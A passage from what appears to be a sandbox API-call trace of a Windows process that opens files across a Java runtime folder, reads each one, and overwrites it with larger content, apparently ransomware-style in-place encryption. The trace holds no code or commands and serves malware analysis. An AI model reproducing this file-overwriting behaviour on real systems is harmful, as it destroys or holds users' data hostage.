lpMultiByteStr=0x1e7894c, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages_sv.properties", lpUsedDefaultChar=0x0) returned 22 [0044.336] ReadFile (in: hFile=0x168, lpBuffer=0x2734c38, nNumberOfBytesToRead=0xd51, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2734c38*, lpNumberOfBytesRead=0x2f4f2bc*=0xd51, lpOverlapped=0x0) returned 1 [0044.343] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0044.343] WriteFile (in: hFile=0x168, lpBuffer=0x2734c38*, nNumberOfBytesToWrite=0x12d9, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2734c38*, lpNumberOfBytesWritten=0x2f4f2d0*=0x12d9, lpOverlapped=0x0) returned 1 [0044.343] CloseHandle (hObject=0x168) returned 1 [0044.343] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\meta-index" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\meta-index"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d0 [0044.350] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0044.350] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x33d [0044.350] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0044.350] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.350] ReleaseMutex (hMutex=0x128) returned 1 [0044.350] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="meta-index", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0044.350] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="meta-index", cchWideChar=10, lpMultiByteStr=0x1e6320c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="meta-index", lpUsedDefaultChar=0x0) returned 10 [0044.350] ReadFile (in: hFile=0x1d0, lpBuffer=0x2750828, nNumberOfBytesToRead=0x33d, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2750828*, lpNumberOfBytesRead=0x2f4f2bc*=0x33d, lpOverlapped=0x0) returned 1 [0044.356] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0044.356] WriteFile (in: hFile=0x1d0, lpBuffer=0x27ac368*, nNumberOfBytesToWrite=0x8c5, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27ac368*, lpNumberOfBytesWritten=0x2f4f2d0*=0x8c5, lpOverlapped=0x0) returned 1 [0044.356] CloseHandle (hObject=0x1d0) returned 1 [0044.356] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\fonts\\lucidabrightdemiitalic.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d0 [0044.357] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0044.357] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x12574 [0044.357] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0044.357] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.357] ReleaseMutex (hMutex=0x128) returned 1 [0044.357] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LucidaBrightDemiItalic.ttf", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0044.357] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LucidaBrightDemiItalic.ttf", cchWideChar=26, lpMultiByteStr=0x1e7fd2c, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LucidaBrightDemiItalic.ttf", lpUsedDefaultChar=0x0) returned 26 [0044.358] ReadFile (in: hFile=0x1d0, lpBuffer=0x2734c38, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x2734c38*, lpNumberOfBytesRead=0x2f4f278*=0x4000, lpOverlapped=0x0) returned 1 [0044.366] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x11574 [0044.366] ReadFile (in: hFile=0x1d0, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.372] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x11574 [0044.372] WriteFile (in: hFile=0x1d0, lpBuffer=0x2734c38*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x2734c38*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.372] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0044.372] WriteFile (in: hFile=0x1d0, lpBuffer=0x2734c38*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x2734c38*, lpNumberOfBytesWritten=0x2f4f28c*=0x4000, lpOverlapped=0x0) returned 1 [0044.372] CloseHandle (hObject=0x1d0) returned 1 [0044.373] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\win32_copydrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d0 [0044.373] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0044.373] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0xa5 [0044.373] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0044.373] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.373] ReleaseMutex (hMutex=0x128) returned 1 [0044.373] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="win32_CopyDrop32x32.gif", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0044.373] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="win32_CopyDrop32x32.gif", cchWideChar=23, lpMultiByteStr=0x1e7894c, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="win32_CopyDrop32x32.gif", lpUsedDefaultChar=0x0) returned 23 [0044.373] ReadFile (in: hFile=0x1d0, lpBuffer=0x1e37848, nNumberOfBytesToRead=0xa5, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e37848*, lpNumberOfBytesRead=0x2f4f2bc*=0xa5, lpOverlapped=0x0) returned 1 [0044.374] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0044.374] WriteFile (in: hFile=0x1d0, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x62d, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2f4f2d0*=0x62d, lpOverlapped=0x0) returned 1 [0044.374] CloseHandle (hObject=0x1d0) returned 1 [0044.374] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jfr\\profile.jfc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d0 [0044.382] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0044.382] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x4863 [0044.383] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0044.383] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.383] ReleaseMutex (hMutex=0x128) returned 1 [0044.383] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="profile.jfc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0044.383] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="profile.jfc", cchWideChar=11, lpMultiByteStr=0x1e6302c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="profile.jfc", lpUsedDefaultChar=0x0) returned 11 [0044.383] ReadFile (in: hFile=0x1d0, lpBuffer=0x2737c98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x2737c98*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.390] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x3863 [0044.390] ReadFile (in: hFile=0x1d0, lpBuffer=0x2737c98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x2737c98*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.391] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x3863 [0044.391] WriteFile (in: hFile=0x1d0, lpBuffer=0x2735c68*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x2735c68*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.391] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0044.391] WriteFile (in: hFile=0x1d0, lpBuffer=0x2735c68*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x2735c68*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0044.391] CloseHandle (hObject=0x1d0) returned 1 [0044.392] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\management-agent.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\management-agent.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d0 [0044.392] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0044.392] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x181 [0044.392] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0044.392] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.392] ReleaseMutex (hMutex=0x128) returned 1 [0044.392] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="management-agent.jar", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0044.392] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="management-agent.jar", cchWideChar=20, lpMultiByteStr=0x1e786cc, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="management-agent.jar", lpUsedDefaultChar=0x0) returned 20 [0044.392] ReadFile (in: hFile=0x1d0, lpBuffer=0x1df3fd8, nNumberOfBytesToRead=0x181, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1df3fd8*, lpNumberOfBytesRead=0x2f4f2bc*=0x181, lpOverlapped=0x0) returned 1 [0044.393] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0044.393] WriteFile (in: hFile=0x1d0, lpBuffer=0x1de4e08*, nNumberOfBytesToWrite=0x709, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1de4e08*, lpNumberOfBytesWritten=0x2f4f2d0*=0x709, lpOverlapped=0x0) returned 1 [0044.393] CloseHandle (hObject=0x1d0) returned 1 [0044.394] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\java.policy" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\security\\java.policy"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d0 [0044.812] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0044.812] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x8ce [0044.812] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0044.812] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.812] ReleaseMutex (hMutex=0x128) returned 1 [0044.813] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="java.policy", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0044.813] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="java.policy", cchWideChar=11, lpMultiByteStr=0x1e6306c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="java.policy", lpUsedDefaultChar=0x0) returned 11 [0044.813] ReadFile (in: hFile=0x1d0, lpBuffer=0x27ac368, nNumberOfBytesToRead=0x8ce, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x27ac368*, lpNumberOfBytesRead=0x2f4f2bc*=0x8ce, lpOverlapped=0x0) returned 1 [0044.825] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0044.826] WriteFile (in: hFile=0x1d0, lpBuffer=0x2771158*, nNumberOfBytesToWrite=0xe56, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2771158*, lpNumberOfBytesWritten=0x2f4f2d0*=0xe56, lpOverlapped=0x0) returned 1 [0044.826] CloseHandle (hObject=0x1d0) returned 1 [0044.826] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Addis_Ababa" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\addis_ababa"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d0 [0044.830] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0044.830] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x41 [0044.830] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0044.830] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.830] ReleaseMutex (hMutex=0x128) returned 1 [0044.830] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Addis_Ababa", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0044.831] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Addis_Ababa", cchWideChar=11, lpMultiByteStr=0x1e6322c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Addis_Ababa", lpUsedDefaultChar=0x0) returned 11 [0044.831] ReadFile (in: hFile=0x1d0, lpBuffer=0x1eaabd8, nNumberOfBytesToRead=0x41, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1eaabd8*, lpNumberOfBytesRead=0x2f4f2bc*=0x41, lpOverlapped=0x0) returned 1 [0044.831] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0044.831] WriteFile (in: hFile=0x1d0, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5c9, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x2f4f2d0*=0x5c9, lpOverlapped=0x0) returned 1 [0044.832] CloseHandle (hObject=0x1d0) returned 1 [0044.832] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Cairo" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\cairo"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d0 [0044.846] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0044.846] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x419 [0044.846] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0044.846] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.846] ReleaseMutex (hMutex=0x128) returned 1 [0044.846] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Cairo", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0044.847] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Cairo", cchWideChar=5, lpMultiByteStr=0x1e6a7a4, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Cairo", lpUsedDefaultChar=0x0) returned 5 [0044.847] ReadFile (in: hFile=0x1d0, lpBuffer=0x2625a48, nNumberOfBytesToRead=0x419, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2625a48*, lpNumberOfBytesRead=0x2f4f2bc*=0x419, lpOverlapped=0x0) returned 1 [0044.860] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0044.860] WriteFile (in: hFile=0x1d0, lpBuffer=0x260fc38*, nNumberOfBytesToWrite=0x9a1, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x260fc38*, lpNumberOfBytesWritten=0x2f4f2d0*=0x9a1, lpOverlapped=0x0) returned 1 [0044.860] CloseHandle (hObject=0x1d0) returned 1 [0044.860] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Gaborone" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\gaborone"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0044.881] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0044.881] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x59 [0044.881] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0044.881] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.882] ReleaseMutex (hMutex=0x128) returned 1 [0044.882] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gaborone", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0044.882] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gaborone", cchWideChar=8, lpMultiByteStr=0x1e6320c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Gaborone", lpUsedDefaultChar=0x0) returned 8 [0044.882] ReadFile (in: hFile=0x168, lpBuffer=0x1ea3f88, nNumberOfBytesToRead=0x59, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1ea3f88*, lpNumberOfBytesRead=0x2f4f2bc*=0x59, lpOverlapped=0x0) returned 1 [0044.883] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0044.883] WriteFile (in: hFile=0x168, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x5e1, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2f4f2d0*=0x5e1, lpOverlapped=0x0) returned 1 [0044.883] CloseHandle (hObject=0x168) returned 1 [0044.883] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Lome" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\lome"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d0 [0044.886] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0044.886] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x1b [0044.886] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0044.886] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.886] ReleaseMutex (hMutex=0x128) returned 1 [0044.887] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Lome", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0044.887] WideCharToMultiByte (in: CodePage=0xfde9, 